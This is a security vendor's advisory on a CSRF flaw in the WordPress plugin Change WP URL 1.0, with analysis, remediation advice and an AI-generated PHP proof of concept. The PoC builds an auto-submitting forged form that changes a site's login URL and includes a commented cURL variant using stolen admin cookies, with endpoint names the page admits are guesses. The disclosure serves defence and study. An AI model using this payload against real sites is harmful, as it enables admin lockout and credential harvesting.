Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1398: Change WP URL <= 1.0 – Cross-Site Request Forgery to Settings Update (change-wp-url)

CVE ID CVE-2026-1398
Plugin change-wp-url
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.0
Patched Version
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1398 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Change WP URL WordPress plugin version 1.0. The vulnerability allows unauthenticated attackers to modify the WordPress login URL configuration by tricking an administrator into clicking a malicious link. The CVSS score of 4.3 reflects the requirement for user interaction and limited impact scope.

Atomic Edge research indicates the root cause is missing or incorrect nonce validation on the plugin’s configuration update functionality. WordPress plugins typically implement settings pages with forms that submit to admin-post.php or use AJAX handlers. The description confirms the vulnerable component is the ‘change-wp-url’ page. Without examining source code, we infer the plugin fails to verify the WordPress security nonce parameter that should accompany privileged administrative actions. This inference aligns with CWE-352’s definition of missing authorization token validation.

Exploitation requires an attacker to craft a malicious HTML page containing a forged HTTP request. When a logged-in administrator visits this page, their browser automatically submits the request to the WordPress admin interface. The request targets the plugin’s settings update endpoint, likely /wp-admin/admin-post.php?action=change_wp_url_update or a similar admin-ajax.php handler. The payload contains parameters like ‘new_login_url’ or ‘wp_login_url’ that modify the WordPress login path. No authentication credentials are stolen; the attack leverages the administrator’s existing session.

Remediation requires implementing proper nonce verification using WordPress’s wp_verify_nonce() function. The plugin must generate a unique nonce token when rendering the settings form and validate this token before processing any configuration changes. WordPress provides the check_admin_referer() function specifically for admin page requests. Additionally, the plugin should implement capability checks using current_user_can() to ensure only users with appropriate permissions can modify settings.

Successful exploitation modifies the WordPress login URL, potentially creating a denial-of-service condition by locking legitimate administrators out of their dashboard. Attackers could set the login URL to a value they control, enabling credential harvesting if administrators are tricked into using the new login page. The vulnerability does not directly allow privilege escalation or remote code execution, but it facilitates social engineering attacks against the WordPress administrative interface.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1398 - Change WP URL <= 1.0 - Cross-Site Request Forgery to Settings Update

<?php
/**
 * Proof of Concept for CVE-2026-1398
 * This script generates an HTML page that exploits CSRF in Change WP URL plugin
 * When visited by a logged-in WordPress administrator, it changes the WP login URL
 * Assumptions based on WordPress plugin patterns:
 * 1. Plugin uses admin-post.php endpoint with action 'change_wp_url_update'
 * 2. Parameter name for new URL is 'login_url' (common convention)
 * 3. No nonce validation exists (the vulnerability)
 */

$target_url = "https://vulnerable-site.com/wp-admin/admin-post.php"; // Configurable target

// Generate malicious HTML form that auto-submits via JavaScript
$html_payload = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>Redirecting...</title>
</head>
<body>
    <h2>Please wait while we redirect you...</h2>
    <form id="exploitForm" method="POST" action="{$target_url}">
        <input type="hidden" name="action" value="change_wp_url_update">
        <input type="hidden" name="login_url" value="hacked-login">
        <!-- Additional parameters may be required based on plugin implementation -->
        <input type="hidden" name="option_page" value="change-wp-url">
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=change-wp-url">
    </form>
    <script>
        // Auto-submit form after page load
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('exploitForm').submit();
        });
    </script>
</body>
</html>
HTML;

echo $html_payload;

// Alternative cURL-based attacker script (for testing)
/*
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'change_wp_url_update',
    'login_url' => 'hacked-login'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Attacker would need to capture and use administrator's cookies:
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=...');
$response = curl_exec($ch);
curl_close($ch);
echo $response;
*/
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School